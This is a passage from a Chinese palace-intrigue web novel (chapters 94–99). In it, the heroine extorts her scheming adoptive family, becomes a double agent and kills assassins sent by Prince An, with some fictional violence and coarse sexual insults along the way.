《娇杀白月光》 第94章 我是贱人 关失越骂完后还不解气，对下人道：“来人，将我把这两个不要脸的给我绑起来！” 这里是关失越自己的宅子，下人都是她自己找的，她大方，给下人们开的工资不错，还有很完善的奖惩制度，因此，这些人自然都听她的。 很快，一伙人出来，按的按手，绑的绑脚，不一会儿，就将蔡二郎和蔡宝珠捆了个结结实实。 蔡二郎大怒，嘴巴不干不净的，被下人打了几个嘴巴子，再不敢骂人了。 关失越赞赏地看了那个敢抽蔡二郎嘴巴的婆子：“做得好，等下赏你二十里银子。” 婆子大喜，忙跪下谢恩：“多谢主子！！谢谢！！以后老奴必定为主子赴汤蹈火在所不辞！” 蔡二郎：“……” 关失越：“现在有两万两银子了吗？” 蔡二郎：“我们现在就去筹。” 关失越：“这还差不多，道歉就应该有个道歉的态度。断没有想要人家帮你做事，你还在那里摆谱的道理！去吧。什么时候筹到了两万两银子，我就什么时候放了你的宝贝妹妹。” 蔡二郎：“你……你要把宝珠留下？！！” 关失越很自然地道：“那是自然了！ 否则，你不给我拿钱来，我怎么办？ 当然得留个人质了。 我警告你，你要是回去将事情告诉了爹娘，那我就扒光了蔡宝珠，将她挂到东门口的城墙上，让全京都的人都来看她！” 蔡二郎惊呆了：“你……你……你怎么能这样？她可是……” “我为什么不能这样？”关失越道，“我原本想好好跟你们相处的，可你们不让啊！这半年来你们对我做过的那些事伤透了我的心。我变成这样，都是你们逼的啊！” “疯了！疯了！！你简直疯了！！！”蔡二郎道。 “是啊，我疯了，是被你们逼疯的！！！”关失越还状似疯癫地笑了笑，“所以，你最好是快点儿哦！半个时辰之内，我要看到钱。否则，你亲爱的宝珠妹妹那冰清玉洁的身体可就要被全京都的人围观了呢，哈哈哈哈……” 蔡二郎又气又怕，颤抖着身子，连滚带爬地跑去筹钱了。 蔡二郎一走，蔡宝珠就恢复了她刻薄恶毒的嘴脸：“贱人，放开我……” 关失越一脚踹在了蔡宝珠的肚子上，将蔡宝珠踹得后退了三丈远。 蔡宝珠疼得在地上抽搐，再骂不出一个字了。 关失越一把薅起蔡宝珠的头发，使劲一扯！ 蔡宝珠疼得尖叫求饶。 关失越生生扯下她一撮头发，这才拍了拍那张痛得扭曲变形的脸，道：“谁是贱人？” 蔡宝珠：“是我！我是贱人。” 关失越这才满意了些：“你霸占别人的东西，鸠占鹊巢，还反过来找男人杀我，确实很贱。你就是这世上最贱的人。” 蔡宝珠想到眼前这丑八怪在庄子上的时候就被不知多少男人给糟蹋了，心里舒坦了些。 不过，想到这女人如今这般疯魔，心里又有些发怵。 关失越似乎猜到了她在想什么，道：“当初我在庄子上，你找了不少人来害我，现在，我将这债如数奉还给你，你觉得如何？” 蔡宝珠恨恨地瞪着关失越：“果然是你！！” 她就说，那男人怎么会跑到她房里？ 果然是这丑八怪做的！！ 只是，她到底是如何做到的？ 关失越挑了挑眉：“你生气什么？不过是以眼还眼以牙还牙罢了。怎么，你对别人做得，别人对你就做不得了？” 蔡宝珠只觉得心底发寒，身子不自觉地颤抖了起来。 这次，她是真的害怕了。 “对了，你在庄子上找了多少人来着？我想一想……好似有十几个吧？” 关失越目光寒凉。 “我才给你找了一个，这也太不公平了！ 我这个人最注重礼尚往来了。 别急，剩下的十来个，我会慢慢为你‘挑选’的！ 哎，说起来，我这个人有个毛病，就是睚眦必报。 且，喜欢加倍报回来。我最喜欢十倍、百倍了。 我这这里先提前恭喜你，很快，你就能‘左拥右抱’、一双玉臂万人枕了。” 蔡宝珠打了个寒颤。 关失越见状，换了个话题：“今天过来找我，是又想做什么？” 蔡宝珠道：“我们原本是想要过来道歉的。” 关失越就笑了：“道歉？用‘贱人’来道歉？” 蔡宝珠便不说话了。 关失越：“对了，你欠我的一百万两黄金呢？什么时候还？” 蔡宝珠咬了咬牙，想骂人，但又担心这个女人发疯打她，或者是找十个百个男人来玷污她，于是只能继续假装柔弱可怜：“太多了，我没那么多钱。” 关失越：“哦，是吗？我看你身上穿的，头上戴的，都价值不菲啊！拿去卖了，能卖不少钱吧？先还我一万两，否则，我不介意把你丢到青楼去，现场还债。” 蔡宝珠：“……” 关失越：“今日春芽没来？” 蔡宝珠：“来……来了，就在外面。” 关失越朝下人使了个眼色，下人见状，去带春芽了。 过了一会儿，春芽被带了进来。 见自家主子脸色发白、头发散乱地坐在地上，春芽忙跑了过去：“大娘子！” 她没能冲到跟前。 被关失越的下人阻止了。 春芽只得看向关失越：“二娘子，你怎么能这样对大娘子呢？她是你的姐姐！” 关失越没有搭理春芽，只看向蔡宝珠。 蔡宝珠咬了咬唇，道：“春芽，这不怪妹妹，怪我！ 是我不好，惹了妹妹生气。 春芽，你快回去帮我办一件事。 我的那些珠宝、首饰，你都拿去当铺当了，我现在急需一万两银子。 你帮我筹到一万两银子就赶紧过来交给我。 这事对我很重要，你不能告诉别人，只能偷偷进行！ 要不然，我就惨了。 你听明白了吗？” 春芽看了一眼关失越。 关失越：“看我做什么？还不快些去？事情要是办不好，你的主子就……呵。” 那意味深长的“呵”，让春芽打了个哆嗦，再不敢多看多待了，转身就快步跑了出去。 “提醒你，你的主子在我的手里，可千万别耍花招哦！否则……” 春芽听着身后的声音，跑得更快了。 第95章 你脑子是不是被门夹了？ 关失越并没有等太久。 天黑之前，她便收到了那三万两银子的银票。 拿到钱，关失越立马给下人每人各赏赐了十两银子。 下人们欢天喜地，表示以后一定会越发忠心。 蔡二郎在再一次只管感受到关失越的“疯魔”之后，再不敢耍小心思了，老老实实地交代了今日前来的目的------ 让关失越回蔡家去嫁人。 “嫁人？嫁给谁？”关失越震惊不已。 先不说她现在已经跟蔡侍郎府闹翻了，就是在庄子上那事，她也不好去嫁人啊！ 这个时代的贞洁观念虽不及后世那般严重，但，一个失身的女人再嫁，确定那不是在结仇？ “是爹娘给你挑的好人家！户部侍郎府上的小郎君。”蔡二郎很为那户部侍郎家的小郎君不值得，“年少有为，长得也很好看！原本是要定给宝珠的，可……便宜你了！” 关失越就笑了：“蔡宝珠不是要嫁给宁王的吗？怎么就又定了这一家？照你这个说法，还是我抢了假货的婚事？你要这么说的话，那我就不嫁了！让蔡宝珠嫁。” 蔡宝珠着急地扯了扯蔡二郎的衣袖。 蔡二郎无奈，只得心不甘情不愿地给关失越道歉。 “看在两万两银子的份上，我就不跟你们计较了。”关失越很好说话的样子，“我就只一个问题，我这回是非嫁不可吗？就没有商量的余地了？” 蔡二郎：“我们家就你和宝珠，宝珠又……出了那样的事，不是你嫁，还能是谁嫁？” 关失越挑了挑眉，看了一眼蔡宝珠。 很明显，那件事蔡宝珠瞒着蔡家人呢！ 蔡宝珠很紧张地，低下了头，避开了关失越的视线。 关失越：“说说那小郎君的情况吧。” ======== “什么？顾沉舟？！！” 楚翊尘快速在脑中搜索了一番，半晌，才将顾沉舟这个人，以及与之相对应的人和事联系起来。 “这个人……一言难尽。但若说他本人呢，其实还算不差，但若是加上他的那一家子，那就……” 楚翊尘搞不明白关失越为何要突然问起顾沉舟这个人。 “你从城东回来就突然说起他，该不会是蔡家想要与顾家定亲吧？” 关失越点了点头：“师父洞察力惊人！佩服！！” 楚翊尘嘴角微微上扬，显然对她的拍马屁还是受用。 “顾沉舟长得还不错，性子还算可以，就是有些蠢。他从小就喜欢蔡宝珠，私下里为蔡宝珠做了不少事。蔡宝珠不喜欢他，却一直吊着他，可笑的是他不以为耻反以为荣。蔡宝珠出了那事，该不会是想通了，要嫁给他了吧？” 关失越：“错，恰恰相反，蔡家人找到我，要我嫁给顾沉舟。 ” 她就说嘛，蔡宝珠那样自私自利的人，怎么可能给她找个好婚事呢？ 原来，是在这里等着她！ 让自己的“丑”妹妹嫁给自己的忠实舔狗，再在舔狗面前假装遗憾、落泪啥的，丑妹妹下半辈子的生活可想而知！ 这样恶毒的法子，也只要蔡宝珠这样恶毒的人能想出来！ 为了将她送进火坑，蔡宝珠不惜耗费三万两银子和挨一顿打，啧啧啧，可真是“用心良苦”啊！ “让‘蔡丫丫’嫁给顾沉舟？！”楚翊尘也是再次刷新了对蔡宝珠的认知，“真是恶毒！那顾沉舟家里面的情况……” 关失越来了兴趣：“他家里啥情况？” 楚翊尘：“他家里可乱得很！ 大嫂和小叔子乱伦，公公和儿媳扒灰，这些都是暗地里的。 明面上，嫁出去的姑奶奶总是回家指手画脚。 最奇葩的还是那顾老夫人。 顾侍郎是农家子，三十多岁才考中进士。 他又是个孝顺的，于是便将老母亲顾老夫人接了来。 这顾老夫人简直就是个泼妇+刁妇+刻薄无知的农村妇女。 相当上不得台面！ 她做的那些事，说上三天三夜都说不完。 我就给你说一件小事吧。 顾家原本买了丫鬟婆子小厮的，顾老夫人觉得这是费钱，于是将所有下人都遣散了，只给顾侍郎留了个小厮。 顾家洗衣做饭洒扫等事，顾老夫人就让她的儿媳、孙女、孙媳们做。 一个官员家，弄得就跟乡下地主家一样！ 顾老夫人控制欲很强，府中大小事务她都紧抓着不放。 你绝对想象不到，家中小辈要吃一块糕点都要经老夫人之手这样的事竟然能在京都官员的家中发生！ 顾老夫人刻薄，她生的那些子女继承了她的刻薄，整个顾府就是京都的笑话。 你随便去哪里打探都能打探到。 你要是嫁过去了，嘿嘿，首先嫁妆得全部上交；其次，你的丫鬟婆子全部都要被她发卖。 立规矩这样的事更是不在话下！ 你要是蔡丫丫，我保证，不出三年，就能被磋磨死！” 关失越不禁为蔡丫丫感到悲哀：“顾家的事，蔡家人知道吗？” 楚翊尘：“那肯定知道啊！不然，那顾沉舟那么喜欢蔡宝珠，他们怎么不将蔡宝珠嫁过去？” “是啊，蔡宝珠都那样了，他们还是舍不得她嫁过去受苦。” 关失越想起了之前蔡二郎那一副“看我们给你找了这么好的婆家，便宜了你”的表情，眼神很冷。 “可他们却舍得将这份苦赐给他们的亲生女儿！可真是丫丫的‘好’家人呢！” 难怪蔡丫丫临时的愿望就是让蔡家人生不如死。 有这样的家人，真的很内耗，很悲哀！ 幸好，她解脱了！ “还有，那顾沉舟喜欢的是蔡宝珠，你要是嫁过去，那日子更不用说了！”楚翊尘道。 关失越：“他们把婚期定到了一个月后。就是明年正月二十一。所以现在的课业得抓紧了，争取在一个月之内结束。” 楚翊尘微微蹙眉：“你什么意思？你该不会是……想要嫁过去吧？” 关失越：“说对了。我要嫁过去。” 楚翊尘顿时身子紧绷，脸色阴沉，眸子如同被飓风刮过的海面，惊涛骇浪、翻涌不息，声音不自觉地冷了下来：“关二丫！你的脑子是不是被门夹了？那样的火坑，你也跳？！！” 第96章 最后一件事是什么？ “我的脑子怎么可能被门夹？” 关失越并没有被楚翊尘的冷脸吓到，相反，她还笑了笑。 “蔡家人说了，这回我要是嫁给顾沉舟，他们之前欠我的钱，会一次性全部都给我，以嫁妆的方式。” 楚翊尘：“你不是已经骗了不少钱了吗？还看得上那仨瓜俩枣？” 关失越：“价值十万两银子的嫁妆。 包括田地、铺子、家具、宅子、绸缎、现银等。到时那些东西就都是我的了。 按着千里及的规定，我只需上交一半即可，那我还剩五万。” 楚翊尘：“上交一半做什么？你都给了大将军一百万两黄金了，哪里还需要上交？至多给两万两就行了！” 关失越笑道：“师父说得极是。师父真好！事成之后，我孝敬师父三万两。如何？” 楚翊尘笑着捏住了关失越的肩膀：“乖。就冲着这点，师父保证护你周全。” ========= 接下来，关失越的训练课程安排得更紧凑了。 关失越一天的睡眠时间被压缩到了三个时辰。 高强度的训练是很有成效的，关失越自己都感觉自己好似更身轻如燕了。 这一日，她学完了上午的课程，正准备吃午饭，谢七娘走了过来，在她耳边低声道：“沈世子找你。他让我告诉你，在咱们新开的胭脂铺子里相见。” 关失越往嘴里扒了一口饭，嚼了几下：“是为了什么事？” 谢七娘：“我猜测，应当是为了剩下是五万两银子的事。” 一听到五万两银子，关失越只觉得浑身的疲惫一扫而空，她脸上露出了喜悦的笑容：“什么时候？” 谢七娘：“今日戌时三刻（19点45分）左右。” 关失越：“知道了。” 谢七娘转而说起了店里的事，将重要的事简明扼要地说完后，谢七娘道：“那个肥皂我们已经做出来了，你要看看吗？” 关失越：“你们使用过没有？” 谢七娘：“用过了，效果很好，比皂角好用。” 关失越：“那就行了。现在就不必看了，等下午去铺子里，我再细看。” 谢七娘：“也好。下午说不得香皂也能做出来了，到时主子你一并看看。” ========= 临近年关，天气越发寒冷。 大雪纷纷扬扬，整个天地间，都是鹅毛般飘飞的大雪。 关失越今日穿了一件红色的衣服，外罩一条黑色的狐毛大氅，身子如若燕子一般，轻盈地穿梭在天地间。 在一间还未打烊的铺子跟前，关失越停了下来，闪身走了进去。 铺子正是蔡侍郎补偿“蔡丫丫”的铺子，后来关失越从“蔡丫丫”手里“租赁”了过来，改成了胭脂铺。 此时，胭脂铺里有一个客人。 这人身着暗红色衣服，长身玉立，芝兰玉树，正是沈淮瑾。 听到动静，沈淮瑾侧头看了过来。 四目相对，关失越朝他露出了一个礼貌性的微笑：“来了？” 几日不见，这小娘子似乎又白了一些，娇柔了一些，脸颊仿佛挂着露珠的栀子花一般。 那娇嫩的触感，那香艳绮迷的情景，那些令人心跳加速的片段，此时不合时宜地浮现在了脑海，怎么压也压不下去。 沈淮瑾耳根微微泛红，他猛地移开视线，低声道：“嗯。” 声音说不出的沙哑暗沉。 嗓子突然就很干哑，他喉结动了动，狠狠咬了咬后槽牙，在心底不停地默念“她是荡、妇，她不是好东西，只有婉婉才冰清玉洁”等，将一些不受控制的、不合时宜的异样感给生生压下。 关失越大步走过去，直接走到柜台前坐下：“钱带来了？” 说到正事，沈淮瑾总算是自在了些：“带来了。五万两。” “爽快！”关失越脸上立马露出了暴富的喜悦之色，“我先看看。” 沈淮瑾没有动：“钱是够了的。我保证。但是，我的人呢？” “放心，我这人最讲诚信了。” 关失越手指在柜台上轻敲了几下，很快，店铺后面传来了谢七娘的声音：“来了！” 没多久，谢七娘带着双手被绑着绳子的沈淮瑾丫鬟，走了进来。 那丫鬟虽然双手被绑着，但脸上并没有伤痕，在见到沈淮瑾后，丫鬟跪了下去磕头谢恩。 沈淮瑾脸色难看，他从怀里掏了掏，掏出了一叠折叠好的银票，递到了关失越跟前：“剩下的五万两都在这里了，现在，我们两清了！希望你也说到做到。” 关失越高兴地接过银票：“自然！我这人说到做到，决不食言！” 便开始清点起了数目来。 点了三遍，确定确实没有错漏，没有少，关失越朝沈淮瑾竖起了大拇指：“世子大气！之前那事，便算是结束了。人我也还给世子。世子可以把人带走了。” 沈淮瑾拱了拱手：“多谢了。” 关失越：“好说！” 只要钱到位，一切都好说！ 沈淮瑾朝店门口看了一眼，很快，店门口的小厮小跑了过来，将丫鬟带了出去。 谢七娘也在关失越的眼神暗示下，去了铺子后面的员工间。 顿时，整个店铺里就只剩下了关失越和沈淮瑾两人。 冬日的夜来得早，此时，外面早已经天黑了，街道上的铺子都打烊了，只余这个铺子还亮着烛火。 微弱的火光中，沈淮瑾抿了抿薄唇，上前两步，与关失越隔着一张柜台相望。 “前面两件事，我都按着你的要求办好了，最后一件事呢？是什么？” 蜡烛就在柜台上燃着，四周静谧，烛光柔和，眼前的男子矜贵文雅，让人很有采撷一番的冲动。 关失越看着男人那越来越近的俊脸，笑了笑：“我现在还没想好，等我想好了再告诉你。” 沈淮瑾：“……” 不知为何，他心里升起一股失望来。 他原本以为，这女人会再次提出那样的要求的。 为此，他在来之前还特意沐浴过了，便是衣服也都是精心准备过的。 可没曾想，她竟然…… “怎么？失望了？” 关失越身子微微前倾，雪白的脸颊几乎要凑到沈淮瑾鼻尖。 她笑得恶劣而风情万种，让人有一种想要捏住她的下巴，狠狠亲一下的冲动。 第97章 你对我有真心？ “别怕，我说过了，我让你做的事绝对不是叛国叛君那样的事，也不会是犯法的事的。” 沈淮瑾：“你什么时候想好？总得有个时间限制吧？” 若是她十年二十年都没想好，他岂不是几十年都不得安宁？ 这怎么行？ 关失越想了想：“放心。 一年之内，我必定会告诉你。 如若到明年的今日，我还没有说，那么，第三件事便算作废了。 也就是说，一年后，不管我有没有提出来，我们的恩怨都可以一笔勾销了。 怎么样？ 我还算有良心吧？” 沈淮瑾：“好，一言为定。” 说罢，便走出了铺子。 他一走，关失越便去后面察看了一下肥皂和香皂成品，做得很不错！ 尤其是那香皂，竟被做出了梅花、桃花、海棠花等各种形状。她一个活了两辈子的老阿姨看了都觉得可爱想买，更别说这个时代的贵妇们了。 她觉得，这玩意儿肯定能大火！ “不错！你很棒！” 优秀的员工是要给与肯定的。 关失越拍了拍谢七娘的手：“我能请到你这么优秀的掌柜，是我的福气！到时候我就靠着你发财了！我之前就说好了，这胭脂铺有你一成的分成，这话永远都作数。” 谢七娘：“多谢主子！我一定会好好做的！！” 关失越从刚刚得到的五万两银票里抽出了一张一百两的，塞进谢七娘手里：“这是给你的，拿着，去给自己买些好吃的。” 谢七娘躬身行礼：“谢谢！谢谢主子！！” 关失越摆了摆手：“行了，去吧！我再看看铺子里的货，到时我自己回去就是了。” 谢七娘：“是！” 谢七娘走了，铺子里就只剩下了关失越一个人。 关失越并没有继续看货，而是坐在柜台后面的椅子上闭目养神。 过了约摸半盏茶的功夫，门外传来了有节奏的脚步声。 关失越睁开了眼睛。 很快，门被推开。 楚清漪走了进来。 关失越站起身：“楚阁主！” 楚清漪点了点头：“等很久了吧？” 关失越：“没有，才等了一会儿。” 楚清漪：“那事你考虑得怎么样了？” “承蒙阁主厚爱，关某感激不尽！”关失越道，“只是，关某时运不济，被奸人所害，实不得已，进了千里及……” “进了千里及，也不妨碍加入我摇光台啊！”楚清漪道，“这两者并不冲突。你可以领千里及的俸禄，同时，也能领我摇光台的俸禄。而且，你的身份我们这边是保密的，目前只有两个人知晓。我和……” 说到这里，楚清漪指了指天上。 摇光台的直系领导是大夏皇帝。 关失越心脏砰砰直跳：“他也知晓了？” 楚清漪：“自然！这么大的事，我肯定要报告上去的。普天之下莫非王土，率土之滨莫非王臣。有了那位，你哪里还用得着怕陆家军？” 关失越忙跪了下去，抱住了楚清漪的大腿：“阁主在上，请受小的一拜！” 楚清漪满意关失越的识相，从怀里掏出了一张明黄色的圣旨，放到了关失越手里。 “自己看。” 关失越：“……” 她这是答应也得答应，不答应也得答应啊！ 幸好她之前就答应了，否则，岂不是要在那位那里落个不好！ 天啊！ 如今的她，就成了摇光台特工了！ 奉旨入摇光台的那种！！ 陆之涯那里…… 哎，她管不了那么多了！ 这是圣旨，难道她还能抗旨不成？ 这岂不是说，以后她就是摇光台和千里及的双重特工了？！ 天！ 双面特工这活，她能做到吗？ 她腿软了。 “好好干！”楚清漪拍着关失越的肩膀道，“咱们摇光台只听命于皇上一人，晋升的机会多的是。 可不是像千里及那些根本不给咱们女子晋升机会的小作坊能比的！ 我很看好你。 咱们一起努力，在大夏做到一人之下万人之上的位置也不是不可能。” 关失越心脏跳得更厉害了：“好，我会努力的。多谢阁主栽培！” 楚清漪：“以后我就是你的上级，你直接归我管。你的身份在整个摇光台都是保密的，你不用担心在千里及那边穿帮。知晓你身份的，就只我和皇上。另外……” 说到这里，楚清漪在袖子里摸了摸，摸出了一张一百两的银票来，塞到了关失越手里： “这是你在摇光台的半年的俸禄，马上就过年了，就提前给你了。 你若是立功的话，摇光台的奖励不会比千里及的少。 你记住，加入摇光台，你是绝对不会吃亏的。” 关失越立马表忠心：“是！属下一定为大夏鞠躬尽瘁死而后已！” ======== 关失越回到陆宅后，数了一万两银票出来，送到了楚翊尘房里。 能从承恩侯府弄到钱，楚清漪作用最大，楚翊尘也是功不可没。 现在得到了钱，关失越自然要分他一些的。 况且，她怀疑楚翊尘也跟她一样，是双重间谍。 于公于私，她都最好是讨好他！ 这根粗大腿，她必须得抱上。 便是抱不上，也绝对不能得罪。 “又给我这么多钱做什么？”在看到面前的银票后，楚翊尘挑了挑眉，“哪来的？” 关失越立马狗腿地道：“还不是那承恩侯世子给的？ 说起来，多亏了师父你及时请来外援，要不然，我和萋萋小命都交代在承恩侯府了！ 师父你就是我的福星！是我的救命恩人！！ 对救命恩人，我肯定要报答一二了！” 楚翊尘看了看面前的银票：“有钱不知道自己存着吗？” 关失越：“我的一切都是师父给的！ 师父教我武功，师父在流沙县的时候救了我好几次。 要不是师父，我早就死在了流沙县，怎么可能还会有今天？ 吃水不忘挖井人。 师父你就收下吧！ 这是徒儿的一片真心。” “你对我有真心？”楚翊尘一把扣住了关失越的后脑勺，将她按到了自己身前。 他的下巴撞上了她光洁雪白的额头上。 “是不是真心，不是嘴巴上说的，得用行动证明！来，证明给我看。” 说话间，楚翊尘另一只手指落在了关失越那又娇艳了不少的唇瓣上，摩挲了好几下，很好，比记忆中的手感又好了不少！ 鼻尖在少女身上嗅了嗅，没嗅到别的男人的气息，楚翊尘满意了些：“你这段时间辛苦了，今夜该休息一下了。” 关失越咬住了那在唇上作乱的手指，媚眼如丝：“那便休息一晚？” “好。”楚翊尘眸色逐渐变深，唇瓣落在了关失越鼻尖…… 第98章 她也配？ 雪下得更大了。 簌簌的雪声，北风的呼啸声，雪落在竹林上的沙沙声，竹枝被压断的咔嚓声…… 不对！ 这声音不对！！ 关失越猛地推开楚翊尘，取过旁边的衣服，快速地套在了自己身上。 此时，恰好有风吹过，一丝似有若无的硫磺味飘了过来。 楚翊尘鼻翼微动，随即快速地拿起边上的衣服，快速地穿了起来。 两人神色凝重，速度丝毫不受影响，两人的目光在半空中交汇，随即，两人朝着不同的地方掠去。 就在两人的身子消失的下一瞬，数不清的箭矢从四面八方过来，钉在了窗棱上、门上、墙壁中、地上。 箭矢中夹杂了不少火箭。 火箭一接触到木头，便燃烧了起来。 有两支火箭穿过窗户，落到了屋中，遇上床幔和被褥，顿时就燃烧起了熊熊大火。 很快，陆宅主院，火光冲天。 不远处，一群手持弓箭的黑衣人满意地看着这一幕，等着火势小些，冲进去看看人死透了没有。 就在这时，有个黑衣人感觉背后一凉，似乎有一股飓风袭来，只冻得他打哆嗦。 他感觉不对，回头一看，什么也没看清，同时，脖子一凉，然后又一热。 温热的液体从那冰凉出喷涌而出，他眼睛里露出了不可思议的神色，下一刻，整个人砰地一声倒在了雪地里，死不瞑目。 紧接着，是第二个人，第三个人…… 厮杀在黑夜里上演。 雪地里，到处都是殷红的血渍…… 一刻钟之后，火已经被扑灭，潜入府中的刺客尽数被斩杀。 关失越抹了一把脸上被刺客溅到的血渍，对下人道：“你们谁能认出这些刺客的身份，我便赏赐谁一百两银子！” 下人们眼睛一亮，怀着激动的心情，仔仔细细地检查起来了黑衣人的尸体。 楚翊尘就站在关失越身侧，他微微低下头，嘴唇凑到关失越耳边道：“这些人一看就是训练有素的死士，且功夫了得，反应极快，见事情败露便选择了服毒自尽，可见，来头不小！” 关失越：“肯定比承恩侯府的来头要大。” 承恩侯府的死士那么横，还是在他自己的地盘上，都被关失越抓了活口。 今日这些死士在她和楚翊尘两人的合攻之下，却一个活口也没留下，可见这些人背后的势力有多见不得人！ 楚翊尘也意识到了这点，他想了想，道：“安王？” 关失越：“十有八九是他。只可惜，没有证据。” 楚翊尘：“咱们是没有证据。不过，都欺到咱们头上了，咱们也不能让对方好过！！！” 关失越侧头看过去，漆黑的大眼睛冒着璀璨夺目的光：“哦，郎君可是想到了什么好办法？” ========= “啊------” 第二日，天才刚刚亮，向府的偏院里便有人发出了惊天动地的尖叫声。 声音尖利，直达云霄，惊得树上的鸟儿扑闪着翅膀飞走了。 被吵醒的谢婉婉不悦地看向身侧的丫鬟芷卉：“怎么了？外面怎么这么吵？” 芷卉福了福身：“婢子去看看。” 过了一会儿，芷卉脚步凌乱地走了进来，一脸的害怕：“不好了大娘子，外面死人了！好多好多的死人！！” 谢婉婉哪里还坐得住，忙起床穿衣。 待到穿戴整齐打开门去查看之际，向砚辞也走了过来，两人简单地打了个招呼，便同时走向了院子里那一具具尸体。 这些人身着黑衣，脸上蒙着黑布，个个身上都带着伤，或面目狰狞，或伤口血肉模糊，或断了手脚，或脖子被割了一半…… 总之，死相极惨，让人一见就忍不住害怕。 谢婉婉险些呕吐。 向砚辞要好些，但也是面色发白。 “这是怎么回事？这些人怎么会在这里？要不，报官吧？” 不料，谢婉婉道：“不！不能报官！！” 向砚辞：？ 谢婉婉摇了摇头，随即意有所指地看了向砚辞一眼。 向砚辞会意，跟着谢婉婉走出了一段距离，走到了一处无人的角落。 谢婉婉：“先不报。等我出去打探情况，我回来后再说。” 向砚辞：“那好。我去帮你准备马车。” ========= 谢婉婉很快就到了安王府。 安王府守卫见到她，很快就放了行。 谢婉婉从侧门进了王府，跟着带路侍卫，一路走到了安王的院子。 此时，安王的院子里，也同样横七竖八躺着不少黑衣人的尸体。 安王负手而立，面上如同罩了一层寒霜。 这些人，正是他派出去干活的暗卫，没想到竟全都死了！ 那女人不过是陆家一个旁支的小娘子，她怎么可能能有这么大的本事？ 事出反常必有妖。 可见，他们之前的推测是正确的，那个陆婉婉来头不小，怕是千里及的细作！！ 她的目的，十有八九是冲着婉婉来的！ “殿下。”谢婉婉怯怯地唤道。 安王见到谢婉婉，面上缓和了些：“看来被你猜中了，那个陆婉婉十有八九是那个被找来代替你的农女。” “当真？” 谢婉婉手指不自觉地握紧，呼吸也变得急促了起来。 对那个陆婉婉，不知道为什么，她第一眼看到便觉得厌恶，所以才恶意猜测她是个替身。 可，那只是她的猜测啊！ 难道竟被她猜中了吗？ “妾只是觉着，这也太不可思议了。别的不说，那陆大将军肯定知晓她的身份吧？既然知晓，那为何还要放她回来？妾见她嚣张跋扈得很，比真正的世家贵女还要像世家贵女。” 原本以为她真是陆家人，没想到，竟只是个农女？！！ 还是她的替身！ 既然是替身，那她岂不是个营妓？ 天啊！ 表面上看起来傲得很，结果，就是个千人骑万人压的女表子啊！ 啧啧啧，真脏！ 真恶心！！ 也敢取名叫“婉婉”，啧啧啧，烂货一个，她也配？ 谢婉婉脊背不自觉地挺直了，下巴也忍不住抬了起来，心情愉悦到不行。 在陆婉婉身上，她再次找回了久违的独属于她一个人的世家贵女的优越感。 第99章 绝对不可能得到陆将军的青睐 安王嘴角勾起一个不屑的弧度：“那是自然，有陆之斐给她撑腰，她自然有那个底气。 陆之斐，楚翊尘，说不得还有不少人，都是她的底气。 这些人是我昨晚派出去刺杀她的人。 但结果…… 他们的实力，远超我们的想象！ 从今日这事来看，她已经知道暗杀她的人是我派去的了。 要不然，她也不会将这些人的尸体丢到我安王府来！” 他这些暗卫都是从小培养，从千万人中杀出来的，能力卓绝，鲜有对手，可竟不敌一个小娘子！ 这在之前是根本不可能出现的…… 不对，数量不对！ 少了十来具尸体！ 也就是说，还有十几个人还活着！！ 他就说嘛，他的暗卫都是从尸山血海中走出来的，怎么可能全军覆没？ “你今日过来，是你那边出了什么事吗？” 谢婉婉：“殿下，向宅那边也有黑衣人的尸体。” 安王面色一紧：“你说什么？那边也有尸体？也是早上起来发现的？有多少？” ========= 很快，安王和谢婉婉坐着马车，来到了向宅。 看到院子里那些摆放整齐的黑衣人尸体，安王的心顿时沉了下去。 正好。 派出去的杀手，全部死了，一个不少！ 怎么可能？ 她一个小娘子，到底是如何做到的？ 把他们全杀了已经很匪夷所思了，关键是她还能准确无误地将这些人的尸体丢回来，且没有惊动任何人！ 这已经不能用匪夷所思来形容了！ 这简直就是可怕啊！ 他可是大夏亲王啊！ 他安王府怎可这样让贼人来取自如？ 简直是奇耻大辱！ 想到这里，安王脸色非常难看，他看向谢婉婉：“对方来头不小，还睚眦必报，你住这里不安全。还是早日入府吧！现在就去收拾东西。” 谢婉婉面色僵了僵。 她现在的身份只是个七品小官的表妹，这时候入府，她就只能做个最低等的侍妾！ 她不甘心！ 以她的出身，她的容貌，她的学识，她的才情，她就是正妃也当得！ 可如今，因着那个贱人，她只能当侍妾！ 她恨死了她！！！ 谢婉婉心里恨得要命，面上却还是装出了一副欣喜的模样：“多谢殿下爱护。妾现在就去！” 侍妾就侍妾吧，她谢婉婉长得好，学识好，聪慧过人，加上安王的真心相待，她就不信她会永远做个侍妾！ 她肯定会一步一步往上爬，最终爬到安王妃的位置的！ ========= “今日便走？”向砚辞心里不是滋味，痴痴地看着谢婉婉。 谢婉婉朝向砚辞露出了一个苦笑：“王爷命令，妾不敢不从。” “还有几日就过年了，就不能再等几日吗？” 他原本还想着能和她一起过个除夕呢，没想到，上天竟然连这么卑微的愿望都不满足！ 谢婉婉苦笑道：“如若可以，妾希望能一直在这里住下去，可是……哎！天意弄人。” 向砚辞心头难过：“就是因为那些黑衣人吗？” 谢婉婉轻轻地颔了颔首。 向砚辞心头更难过了。 这不是无妄之灾吗？ 好端端的，一觉醒来，院子里被人扔了尸体！ “不能报案吗？” “不能。”谢婉婉道。 “为什么？” “……”谢婉婉思索了半晌，道，“因为，让人将尸体扔到咱们家的人，是关二丫。” 向砚辞整个人都被惊着了。 “关二丫？是那个……吗？” 谢婉婉：“对，就是她！” 向砚辞仍然不敢相信：“怎么可能？她不是应当在赤霞府的军营吗？” 她长得那么丑，那么黑，还那么蠢，即便是做军妓，也怕是做得最惨的那个吧？ 男人谁不好色？ 就她那样的，那些男人哪里会对她怜香惜玉？ 拳打脚踢、撕咬抓啃都是基本的。 说不得他们还会故意凌、虐她！ 被咬掉樱桃都有可能。 陆家军在和轩辕打仗，粮草不足是常有的事，一旦没粮草了，营妓被杀来吃肉是再正常不过的了。 就关二丫那样的，肯定是第一批被杀的！ 两年了。 他觉着，她十有八九已经死了。 谢婉婉摇了摇头：“我也不知道是怎么回事。许是她用了什么法子，得了陆大将军的青睐吧？” “不可能！” 向砚辞斩钉截铁地道。 陆之斐那人，是个看脸的，长得好看的，他才会大发慈悲地看上一眼；但若是长得丑的，必定惹怒他，轻则毒舌，骂得那人怀疑人生，重则直接将人砍了。 “就她那长相，那身形，那肤色，那性子，绝对不可能得到陆将军的青睐！！” 听自己的舔狗如此贬低关二丫，谢婉婉心里得意，面上还是一副善良温婉的模样：“你别这么说她，毕竟她也算是我的救命恩人。要不是她，我说不定就……” 